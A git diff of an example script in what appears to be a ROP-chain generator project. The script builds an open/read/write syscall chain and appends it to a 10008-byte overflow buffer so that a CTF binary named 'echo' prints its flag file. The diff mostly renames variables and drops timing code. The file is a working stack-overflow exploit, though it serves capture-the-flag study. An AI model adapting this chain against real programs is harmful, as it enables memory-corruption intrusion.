diff --git a/examples/CJ2017_echo/exploit_orw.py b/examples/CJ2017_echo/exploit_orw.py index 4135583..4f824bc 100644 --- a/examples/CJ2017_echo/exploit_orw.py +++ b/examples/CJ2017_echo/exploit_orw.py @@ -1,22 +1,19 @@ from pwn import * -import time from Exrop import Exrop binname = "echo" -libc = ELF(binname, checksec=False) -bss = libc.bss() +elf = ELF(binname, checksec=False) +rwaddr = elf.bss() SYS_OPEN = 2 SYS_READ = 0 SYS_WRITE = 1 -t = time.mktime(time.gmtime()) rop = Exrop(binname) -rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting -print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t)) -chain = rop.syscall(SYS_OPEN, ('./this_is_flag.txt', 0, 0), bss) -chain += rop.syscall(SYS_READ, ('rax', bss, 0x40)) -chain += rop.syscall(SYS_WRITE, (1, bss, 0x40)) +rop.find_gadgets(cache=True) +chain = rop.syscall(SYS_OPEN, ('./this_is_flag.txt', 0, 0), rwaddr) +chain += rop.syscall(SYS_READ, ('rax', rwaddr, 0x40)) +chain += rop.syscall(SYS_WRITE, (1, rwaddr, 0x40)) chain.dump() buf = b"A"*10008 pay = buf + chain.payload_str()